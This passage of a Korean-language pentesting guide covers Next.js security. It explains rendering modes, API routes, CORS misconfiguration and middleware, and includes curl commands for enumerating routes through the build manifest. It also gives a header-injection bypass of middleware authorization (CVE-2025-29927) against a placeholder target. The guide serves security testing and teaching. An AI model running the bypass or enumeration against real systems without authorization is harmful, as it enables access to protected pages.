build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'
  • ๋ฐœ๊ฒฌ๋œ ๊ฒฝ๋กœ(์˜ˆ: /docs, /docs/content/examples, /signin)๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ auth testing ๋ฐ endpoint discovery๋ฅผ ์ง„ํ–‰ํ•˜์„ธ์š”.

Next.js์—์„œ์˜ ์„œ๋ฒ„ ์‚ฌ์ด๋“œ

์„œ๋ฒ„ ์‚ฌ์ด๋“œ ๋ Œ๋”๋ง (SSR)

ํŽ˜์ด์ง€๋Š” ๊ฐ ์š”์ฒญ๋งˆ๋‹ค ์„œ๋ฒ„์—์„œ ๋ Œ๋”๋ง๋˜์–ด ์‚ฌ์šฉ์ž๊ฐ€ ์™„์ „ํžˆ ๋ Œ๋”๋ง๋œ HTML์„ ๋ฐ›๋„๋ก ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ฒฝ์šฐ ์š”์ฒญ์„ ์ฒ˜๋ฆฌํ•˜๊ธฐ ์œ„ํ•ด ์ž์ฒด ์ปค์Šคํ…€ ์„œ๋ฒ„๋ฅผ ๋งŒ๋“ค์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

์‚ฌ์šฉ ์‚ฌ๋ก€:

  • ์ž์ฃผ ๋ณ€๊ฒฝ๋˜๋Š” ๋™์  ์ฝ˜ํ…์ธ .
  • ๊ฒ€์ƒ‰ ์—”์ง„์ด ์™„์ „ํžˆ ๋ Œ๋”๋ง๋œ ํŽ˜์ด์ง€๋ฅผ ํฌ๋กค๋งํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ SEO ์ตœ์ ํ™”์— ์œ ๋ฆฌํ•ฉ๋‹ˆ๋‹ค.

๊ตฌํ˜„:

// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

์ •์  ์‚ฌ์ดํŠธ ์ƒ์„ฑ (SSG)

ํŽ˜์ด์ง€๋Š” ๋นŒ๋“œ ์‹œ์ ์— ๋ฏธ๋ฆฌ ๋ Œ๋”๋ง๋˜์–ด ๋กœ๋“œ ์‹œ๊ฐ„์ด ๋นจ๋ผ์ง€๊ณ  ์„œ๋ฒ„ ๋ถ€ํ•˜๊ฐ€ ๊ฐ์†Œํ•ฉ๋‹ˆ๋‹ค.

์‚ฌ์šฉ ์‚ฌ๋ก€:

  • ์ž์ฃผ ๋ณ€๊ฒฝ๋˜์ง€ ์•Š๋Š” ์ฝ˜ํ…์ธ .
  • ๋ธ”๋กœ๊ทธ, ๋ฌธ์„œ, ๋งˆ์ผ€ํŒ… ํŽ˜์ด์ง€.

๊ตฌํ˜„:

// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

์„œ๋ฒ„๋ฆฌ์Šค ํ•จ์ˆ˜ (API Routes)

Next.js๋Š” API ์—”๋“œํฌ์ธํŠธ๋ฅผ ์„œ๋ฒ„๋ฆฌ์Šค ํ•จ์ˆ˜๋กœ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ํ•จ์ˆ˜๋“ค์€ ์ „์šฉ ์„œ๋ฒ„๊ฐ€ ํ•„์š” ์—†์ด ์˜จ๋””๋งจ๋“œ๋กœ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค.

์‚ฌ์šฉ ์‚ฌ๋ก€:

  • ํผ ์ œ์ถœ ์ฒ˜๋ฆฌ.
  • ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์™€์˜ ์ƒํ˜ธ์ž‘์šฉ.
  • ๋ฐ์ดํ„ฐ ์ฒ˜๋ฆฌ ๋˜๋Š” ์„œ๋“œํŒŒํ‹ฐ API ํ†ตํ•ฉ.

๊ตฌํ˜„:

Next.js 13์˜ app ๋””๋ ‰ํ† ๋ฆฌ ๋„์ž…์œผ๋กœ ๋ผ์šฐํŒ…๊ณผ API ์ฒ˜๋ฆฌ ๋ฐฉ์‹์ด ๋” ์œ ์—ฐํ•˜๊ณ  ๊ฐ•๋ ฅํ•ด์กŒ์Šต๋‹ˆ๋‹ค. ์ด ์ตœ์‹  ์ ‘๊ทผ๋ฒ•์€ ํŒŒ์ผ ๊ธฐ๋ฐ˜ ๋ผ์šฐํŒ… ์‹œ์Šคํ…œ๊ณผ ๋ฐ€์ ‘ํ•˜๊ฒŒ ์—ฐ๊ณ„๋˜๋ฉด์„œ๋„ ์„œ๋ฒ„ ๋ฐ ํด๋ผ์ด์–ธํŠธ ์ปดํฌ๋„ŒํŠธ ์ง€์›์„ ํฌํ•จํ•œ ํ–ฅ์ƒ๋œ ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

๊ธฐ๋ณธ ๋ผ์šฐํŠธ ํ•ธ๋“ค๋Ÿฌ

ํŒŒ์ผ ๊ตฌ์กฐ:

my-nextjs-app/
โ”œโ”€โ”€ app/
โ”‚   โ””โ”€โ”€ api/
โ”‚       โ””โ”€โ”€ hello/
โ”‚           โ””โ”€โ”€ route.js
โ”œโ”€โ”€ package.json
โ””โ”€โ”€ ...

๊ตฌํ˜„:

// app/api/hello/route.js

export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))

์„ค๋ช…:

  • ์œ„์น˜: API routes๋Š” app/api/ ๋””๋ ‰ํ„ฐ๋ฆฌ์— ๋ฐฐ์น˜๋ฉ๋‹ˆ๋‹ค.
  • ํŒŒ์ผ๋ช… ๊ทœ์น™: ๊ฐ API endpoint๋Š” route.js ๋˜๋Š” route.ts ํŒŒ์ผ์„ ํฌํ•จํ•œ ๊ฐœ๋ณ„ ํด๋”์— ์œ„์น˜ํ•ฉ๋‹ˆ๋‹ค.
  • ๋‚ด๋ณด๋‚ด๋Š” ํ•จ์ˆ˜: ํ•˜๋‚˜์˜ default export ๋Œ€์‹  ํŠน์ • HTTP ๋ฉ”์„œ๋“œ ํ•จ์ˆ˜(์˜ˆ: GET, POST)๋ฅผ exportํ•ฉ๋‹ˆ๋‹ค.
  • ์‘๋‹ต ์ฒ˜๋ฆฌ: Response ์ƒ์„ฑ์ž๋ฅผ ์‚ฌ์šฉํ•ด ์‘๋‹ต์„ ๋ฐ˜ํ™˜ํ•˜๋ฉด ํ—ค๋”์™€ ์ƒํƒœ ์ฝ”๋“œ๋ฅผ ๋” ์„ธ๋ฐ€ํ•˜๊ฒŒ ์ œ์–ดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋‹ค๋ฅธ ๊ฒฝ๋กœ์™€ ๋ฉ”์„œ๋“œ ์ฒ˜๋ฆฌ ๋ฐฉ๋ฒ•:

ํŠน์ • HTTP ๋ฉ”์„œ๋“œ ์ฒ˜๋ฆฌ

Next.js 13+์—์„œ๋Š” ๋™์ผํ•œ route.js ๋˜๋Š” route.ts ํŒŒ์ผ ๋‚ด์—์„œ ํŠน์ • HTTP ๋ฉ”์„œ๋“œ์— ๋Œ€ํ•œ ํ•ธ๋“ค๋Ÿฌ๋ฅผ ์ •์˜ํ•  ์ˆ˜ ์žˆ์–ด ์ฝ”๋“œ๊ฐ€ ๋” ๋ช…ํ™•ํ•˜๊ณ  ์ฒด๊ณ„์ ์ด๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

์˜ˆ์‹œ:

// app/api/users/[id]/route.js

export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

์„ค๋ช…:

  • Multiple Exports: ๊ฐ HTTP ๋ฉ”์„œ๋“œ (GET, PUT, DELETE)๋Š” ์ž์ฒด์ ์œผ๋กœ export๋œ ํ•จ์ˆ˜๋ฅผ ๊ฐ€์ง‘๋‹ˆ๋‹ค.
  • Parameters: ๋‘ ๋ฒˆ์งธ ์ธ์ˆ˜๋Š” params๋ฅผ ํ†ตํ•ด ๋ผ์šฐํŠธ ๋งค๊ฐœ๋ณ€์ˆ˜์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Enhanced Responses: ์‘๋‹ต ๊ฐ์ฒด์— ๋Œ€ํ•œ ๋” ๋†’์€ ์ œ์–ด๊ฐ€ ๊ฐ€๋Šฅํ•ด์ ธ ํ—ค๋” ๋ฐ ์ƒํƒœ ์ฝ”๋“œ ๊ด€๋ฆฌ๋ฅผ ์ •ํ™•ํ•˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
Catch-All ๋ฐ ์ค‘์ฒฉ ๋ผ์šฐํŠธ

Next.js 13+๋Š” catch-all ๋ผ์šฐํŠธ ๋ฐ ์ค‘์ฒฉ API ๋ผ์šฐํŠธ์™€ ๊ฐ™์€ ๊ณ ๊ธ‰ ๋ผ์šฐํŒ… ๊ธฐ๋Šฅ์„ ์ง€์›ํ•˜์—ฌ ๋” ๋™์ ์ด๊ณ  ํ™•์žฅ ๊ฐ€๋Šฅํ•œ API ๊ตฌ์กฐ๋ฅผ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Catch-All ๋ผ์šฐํŠธ ์˜ˆ์‹œ:

// app/api/[...slug]/route.js

export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

์„ค๋ช…:

  • ๊ตฌ๋ฌธ: [...]๋Š” ๋ชจ๋“  ์ค‘์ฒฉ ๊ฒฝ๋กœ๋ฅผ ์บก์ฒ˜ํ•˜๋Š” catch-all ์„ธ๊ทธ๋จผํŠธ๋ฅผ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค.
  • ์‚ฌ์šฉ: ๋‹ค์–‘ํ•œ ๊ฒฝ๋กœ ๊นŠ์ด๋‚˜ ๋™์  ์„ธ๊ทธ๋จผํŠธ๋ฅผ ์ฒ˜๋ฆฌํ•ด์•ผ ํ•˜๋Š” API์— ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค.

์ค‘์ฒฉ ๋ผ์šฐํŠธ ์˜ˆ์‹œ:

// app/api/posts/[postId]/comments/[commentId]/route.js

export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}

์„ค๋ช…:

  • ๊นŠ์€ ์ค‘์ฒฉ: ์ž์› ๊ด€๊ณ„๋ฅผ ๋ฐ˜์˜ํ•˜๋Š” ๊ณ„์ธต์  API ๊ตฌ์กฐ๋ฅผ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค.
  • ํŒŒ๋ผ๋ฏธํ„ฐ ์ ‘๊ทผ: params ๊ฐ์ฒด๋ฅผ ํ†ตํ•ด ์—ฌ๋Ÿฌ ๋ผ์šฐํŠธ ํŒŒ๋ผ๋ฏธํ„ฐ์— ์‰ฝ๊ฒŒ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
Next.js 12 ์ด์ „์—์„œ์˜ API ๋ผ์šฐํŠธ ์ฒ˜๋ฆฌ

pages ๋””๋ ‰ํ„ฐ๋ฆฌ์˜ API ๋ผ์šฐํŠธ (Next.js 12 ๋ฐ ์ด์ „)

Next.js 13์ด app ๋””๋ ‰ํ„ฐ๋ฆฌ์™€ ํ–ฅ์ƒ๋œ ๋ผ์šฐํŒ… ๊ธฐ๋Šฅ์„ ๋„์ž…ํ•˜๊ธฐ ์ „์—๋Š”, API ๋ผ์šฐํŠธ๋Š” ์ฃผ๋กœ pages ๋””๋ ‰ํ„ฐ๋ฆฌ ๋‚ด์—์„œ ์ •์˜๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ฐฉ์‹์€ Next.js 12 ๋ฐ ์ด์ „ ๋ฒ„์ „์—์„œ ์—ฌ์ „ํžˆ ๋„๋ฆฌ ์‚ฌ์šฉ๋˜๊ณ  ์ง€์›๋ฉ๋‹ˆ๋‹ค.

๊ธฐ๋ณธ API ๋ผ์šฐํŠธ

ํŒŒ์ผ ๊ตฌ์กฐ:

goCopy codemy-nextjs-app/
โ”œโ”€โ”€ pages/
โ”‚   โ””โ”€โ”€ api/
โ”‚       โ””โ”€โ”€ hello.js
โ”œโ”€โ”€ package.json
โ””โ”€โ”€ ...

๊ตฌํ˜„:

javascriptCopy code// pages/api/hello.js

export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}

์„ค๋ช…:

  • ์œ„์น˜: API ๋ผ์šฐํŠธ๋Š” pages/api/ ๋””๋ ‰ํ„ฐ๋ฆฌ ์•„๋ž˜์— ์žˆ์Šต๋‹ˆ๋‹ค.
  • ๋‚ด๋ณด๋‚ด๊ธฐ: export default๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ•ธ๋“ค๋Ÿฌ ํ•จ์ˆ˜๋ฅผ ์ •์˜ํ•ฉ๋‹ˆ๋‹ค.
  • ํ•จ์ˆ˜ ์‹œ๊ทธ๋‹ˆ์ฒ˜: ํ•ธ๋“ค๋Ÿฌ๋Š” req (HTTP ์š”์ฒญ) ๋ฐ res (HTTP ์‘๋‹ต) ๊ฐ์ฒด๋ฅผ ๋ฐ›์Šต๋‹ˆ๋‹ค.
  • ๋ผ์šฐํŒ…: ํŒŒ์ผ ์ด๋ฆ„ (hello.js)์€ ์—”๋“œํฌ์ธํŠธ /api/hello์— ๋งคํ•‘๋ฉ๋‹ˆ๋‹ค.

๋™์  API ๋ผ์šฐํŠธ

ํŒŒ์ผ ๊ตฌ์กฐ:

bashCopy codemy-nextjs-app/
โ”œโ”€โ”€ pages/
โ”‚   โ””โ”€โ”€ api/
โ”‚       โ””โ”€โ”€ users/
โ”‚           โ””โ”€โ”€ [id].js
โ”œโ”€โ”€ package.json
โ””โ”€โ”€ ...

๊ตฌํ˜„:

javascriptCopy code// pages/api/users/[id].js

export default function handler(req, res) {
const {
query: { id },
method,
} = req;

switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

์„ค๋ช…:

  • ๋™์  ์„ธ๊ทธ๋จผํŠธ: ๋Œ€๊ด„ํ˜ธ ([id].js)๋Š” ๋™์  ๋ผ์šฐํŠธ ์„ธ๊ทธ๋จผํŠธ๋ฅผ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค.
  • ๋งค๊ฐœ๋ณ€์ˆ˜ ์ ‘๊ทผ: ๋™์  ๋งค๊ฐœ๋ณ€์ˆ˜์— ์ ‘๊ทผํ•˜๋ ค๋ฉด req.query.id๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”.
  • ๋ฉ”์„œ๋“œ ์ฒ˜๋ฆฌ: ์กฐ๊ฑด๋ฌธ์„ ์‚ฌ์šฉํ•˜์—ฌ ์„œ๋กœ ๋‹ค๋ฅธ HTTP ๋ฉ”์„œ๋“œ(GET, PUT, DELETE, ๋“ฑ)๋ฅผ ์ฒ˜๋ฆฌํ•˜์„ธ์š”.

์„œ๋กœ ๋‹ค๋ฅธ HTTP ๋ฉ”์„œ๋“œ ์ฒ˜๋ฆฌ

๊ธฐ๋ณธ API ๋ผ์šฐํŠธ ์˜ˆ์ œ๋Š” ๋‹จ์ผ ํ•จ์ˆ˜ ๋‚ด์—์„œ ๋ชจ๋“  HTTP ๋ฉ”์„œ๋“œ๋ฅผ ์ฒ˜๋ฆฌํ•˜์ง€๋งŒ, ๊ฐ€๋…์„ฑ๊ณผ ์œ ์ง€๋ณด์ˆ˜์„ฑ์„ ์œ„ํ•ด ๊ฐ ๋ฉ”์„œ๋“œ๋ฅผ ๋ช…์‹œ์ ์œผ๋กœ ์ฒ˜๋ฆฌํ•˜๋„๋ก ์ฝ”๋“œ๋ฅผ ๊ตฌ์กฐํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์˜ˆ์‹œ:

javascriptCopy code// pages/api/posts.js

export default async function handler(req, res) {
const { method } = req;

switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

๋ชจ๋ฒ” ์‚ฌ๋ก€:

  • Separation of Concerns: ๋‹ค๋ฅธ HTTP ๋ฉ”์„œ๋“œ์— ๋Œ€ํ•œ ๋กœ์ง์„ ๋ช…ํ™•ํžˆ ๋ถ„๋ฆฌํ•˜์„ธ์š”.
  • Response Consistency: ํด๋ผ์ด์–ธํŠธ ์ธก ์ฒ˜๋ฆฌ๋ฅผ ์‰ฝ๊ฒŒ ํ•˜๊ธฐ ์œ„ํ•ด ์ผ๊ด€๋œ ์‘๋‹ต ๊ตฌ์กฐ๋ฅผ ์œ ์ง€ํ•˜์„ธ์š”.
  • Error Handling: ์ง€์›๋˜์ง€ ์•Š๋Š” ๋ฉ”์„œ๋“œ์™€ ์˜ˆ๊ธฐ์น˜ ์•Š์€ ์˜ค๋ฅ˜๋ฅผ ์šฐ์•„ํ•˜๊ฒŒ ์ฒ˜๋ฆฌํ•˜์„ธ์š”.

CORS ๊ตฌ์„ฑ

์–ด๋–ค ์ถœ์ฒ˜๊ฐ€ API ๊ฒฝ๋กœ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ์ œ์–ดํ•˜์—ฌ Cross-Origin Resource Sharing (CORS) ์ทจ์•ฝ์ ์„ ์™„ํ™”ํ•˜์„ธ์š”.

์ž˜๋ชป๋œ ๊ตฌ์„ฑ ์˜ˆ์‹œ:

// app/api/data/route.js

export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}

์ฐธ๊ณ ๋กœ CORS๋Š” ๋ชจ๋“  API routes์—์„œ๋„ ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค โ€” middleware.ts ํŒŒ์ผ ์•ˆ์—์„œ:

// app/middleware.ts

import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")

const response = NextResponse.next()

if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}

// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}

return response
}

export const config = {
matcher: "/api/:path*", // Apply to all API routes
}

๋ฌธ์ œ:

  • Access-Control-Allow-Origin: '*': ๋ชจ๋“  ์›น์‚ฌ์ดํŠธ๊ฐ€ API์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉํ•˜์—ฌ, ์•…์˜์ ์ธ ์‚ฌ์ดํŠธ๊ฐ€ ์ œํ•œ ์—†์ด API์™€ ์ƒํ˜ธ์ž‘์šฉํ•  ๊ฐ€๋Šฅ์„ฑ์„ ๋งŒ๋“ญ๋‹ˆ๋‹ค.
  • ๊ด‘๋ฒ”์œ„ํ•œ ๋ฉ”์„œ๋“œ ํ—ˆ์šฉ: ๋ชจ๋“  ๋ฉ”์„œ๋“œ๋ฅผ ํ—ˆ์šฉํ•˜๋ฉด ๊ณต๊ฒฉ์ž๊ฐ€ ์›์น˜ ์•Š๋Š” ๋™์ž‘์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ณต๊ฒฉ์ž๊ฐ€ ์ด๋ฅผ ์•…์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•:

๊ณต๊ฒฉ์ž๋Š” ์•…์˜์ ์ธ ์›น์‚ฌ์ดํŠธ๋ฅผ ๋งŒ๋“ค์–ด API์— ์š”์ฒญ์„ ๋ณด๋‚ด๊ณ , ๋ฐ์ดํ„ฐ ์กฐํšŒ, ๋ฐ์ดํ„ฐ ์กฐ์ž‘ ๋˜๋Š” ์ธ์ฆ๋œ ์‚ฌ์šฉ์ž ๋Œ€์‹  ์›์น˜ ์•Š๋Š” ๋™์ž‘์„ ์œ ๋ฐœํ•˜๋Š” ๋“ฑ์˜ ๊ธฐ๋Šฅ์„ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

CORS - Misconfigurations & Bypass

Server code exposure in Client Side

์„œ๋ฒ„์—์„œ ์‚ฌ์šฉํ•˜๋Š” ์ฝ”๋“œ๋ฅผ ํด๋ผ์ด์–ธํŠธ ์ธก์— ๋…ธ์ถœ๋œ ์ฝ”๋“œ์—์„œ๋„ ์‰ฝ๊ฒŒ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํŠน์ • ์ฝ”๋“œ ํŒŒ์ผ์ด ํด๋ผ์ด์–ธํŠธ ์ธก์— ์ ˆ๋Œ€ ๋…ธ์ถœ๋˜์ง€ ์•Š๋„๋ก ๋ณด์žฅํ•˜๋Š” ๊ฐ€์žฅ ์ข‹์€ ๋ฐฉ๋ฒ•์€ ํŒŒ์ผ ๋งจ ์•ž์— ๋‹ค์Œ import๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค:

import "server-only"

์ฃผ์š” ํŒŒ์ผ๊ณผ ๊ทธ ์—ญํ• 

middleware.ts / middleware.js

์œ„์น˜: ํ”„๋กœ์ ํŠธ์˜ ๋ฃจํŠธ ๋˜๋Š” src/ ๋‚ด.

๋ชฉ์ : ์š”์ฒญ์ด ์ฒ˜๋ฆฌ๋˜๊ธฐ ์ „์— ์„œ๋ฒ„ ์ธก serverless ํ•จ์ˆ˜์—์„œ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜์—ฌ ์ธ์ฆ, ๋ฆฌ๋””๋ ‰์…˜ ๋˜๋Š” ์‘๋‹ต ์ˆ˜์ •๊ณผ ๊ฐ™์€ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•ฉ๋‹ˆ๋‹ค.

์‹คํ–‰ ํ๋ฆ„:

  1. ์ˆ˜์‹  ์š”์ฒญ: ๋ฏธ๋“ค์›จ์–ด๊ฐ€ ์š”์ฒญ์„ ๊ฐ€๋กœ์ฑ•๋‹ˆ๋‹ค.
  2. ์ฒ˜๋ฆฌ: ์š”์ฒญ์— ๋”ฐ๋ผ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค(์˜ˆ: ์ธ์ฆ ํ™•์ธ).
  3. ์‘๋‹ต ์ˆ˜์ •: ์‘๋‹ต์„ ๋ณ€๊ฒฝํ•˜๊ฑฐ๋‚˜ ๋‹ค์Œ ํ•ธ๋“ค๋Ÿฌ์— ์ œ์–ด๋ฅผ ๋„˜๊ธธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์˜ˆ์‹œ ์‚ฌ์šฉ ์‚ฌ๋ก€:

  • ์ธ์ฆ๋˜์ง€ ์•Š์€ ์‚ฌ์šฉ์ž๋ฅผ ๋ฆฌ๋””๋ ‰์…˜.
  • ์‚ฌ์šฉ์ž ์ •์˜ ํ—ค๋” ์ถ”๊ฐ€.
  • ์š”์ฒญ ๋กœ๊น….

์ƒ˜ํ”Œ ๊ตฌ์„ฑ:

// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}

export const config = {
matcher: ["/protected/:path*"],
}

Middleware authorization bypass (CVE-2025-29927)

middleware์—์„œ authorization์ด ์ ์šฉ๋œ ๊ฒฝ์šฐ, ์˜ํ–ฅ์„ ๋ฐ›๋Š” Next.js ๋ฆด๋ฆฌ์Šค (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3)๋Š” x-middleware-subrequest ํ—ค๋”๋ฅผ ์ฃผ์ž…ํ•˜์—ฌ bypassํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ”„๋ ˆ์ž„์›Œํฌ๋Š” middleware recursion์„ ๊ฑด๋„ˆ๋›ฐ๊ณ  ๋ณดํ˜ธ๋œ ํŽ˜์ด์ง€๋ฅผ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค.

  • ๊ธฐ๋ณธ ๋™์ž‘์€ ์ผ๋ฐ˜์ ์œผ๋กœ /api/auth/signin ๊ฐ™์€ ๋กœ๊ทธ์ธ ๊ฒฝ๋กœ๋กœ์˜ 307 redirect์ž…๋‹ˆ๋‹ค.
  • ๊ธด x-middleware-subrequest ๊ฐ’์„ ์ „์†ก( middleware๋ฅผ ๋ฐ˜๋ณตํ•ด MAX_RECURSION_DEPTH์— ๋„๋‹ฌ)ํ•˜๋ฉด ์‘๋‹ต ์ƒํƒœ๋ฅผ 200์œผ๋กœ ๋ฐ”๊ฟ€ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:
curl -i "http://target/docs" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
  • ์ธ์ฆ๋œ ํŽ˜์ด์ง€๊ฐ€ ๋งŽ์€ ํ•˜์œ„ ๋ฆฌ์†Œ์Šค๋ฅผ ๋ถˆ๋Ÿฌ์˜ค๊ธฐ ๋•Œ๋ฌธ์—, ์ž์‚ฐ์ด ๋ฆฌ๋””๋ ‰์…˜๋˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•˜๋ ค๋ฉด ๋ชจ๋“  ์š”์ฒญ์— ํ—ค๋”๋ฅผ ์ถ”๊ฐ€ํ•˜์„ธ์š”(์˜ˆ: Burp Match/Replace์—์„œ ๋นˆ match ๋ฌธ์ž์—ด ์‚ฌ์šฉ).

next.config.js

Location: ํ”„๋กœ์ ํŠธ ๋ฃจํŠธ.

Purpose: Next.js ๋™์ž‘์„ ๊ตฌ์„ฑํ•˜๋ฉฐ, ๊ธฐ๋Šฅ ํ™œ์„ฑ/๋น„ํ™œ์„ฑํ™”, webpack ๊ตฌ์„ฑ ์ปค์Šคํ„ฐ๋งˆ์ด์ง•, ํ™˜๊ฒฝ ๋ณ€์ˆ˜ ์„ค์ • ๋ฐ ์—ฌ๋Ÿฌ ๋ณด์•ˆ ๊ธฐ๋Šฅ์„ ๊ตฌ์„ฑํ•ฉ๋‹ˆ๋‹ค.

Key Security Configurations:

๋ณด์•ˆ ํ—ค๋”

๋ณด์•ˆ ํ—ค๋”๋Š” ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์ฝ˜ํ…์ธ ๋ฅผ ์ฒ˜๋ฆฌํ•˜๋Š” ๋ฐฉ์‹์„ ์ง€์‹œํ•˜์—ฌ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋ณด์•ˆ์„ ๊ฐ•ํ™”ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” Cross-Site Scripting (XSS), Clickjacking, MIME type sniffing๊ณผ ๊ฐ™์€ ๋‹ค์–‘ํ•œ ๊ณต๊ฒฉ์„ ์™„ํ™”ํ•˜๋Š” ๋ฐ ๋„์›€์„ ์ค๋‹ˆ๋‹ค:

  • Content Security Policy (CSP)
  • X-Frame-Options
  • X-Content-Type-Options
  • Strict-Transport-Security (HSTS)
  • Referrer Policy

์˜ˆ์‹œ:

// next.config.js

module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
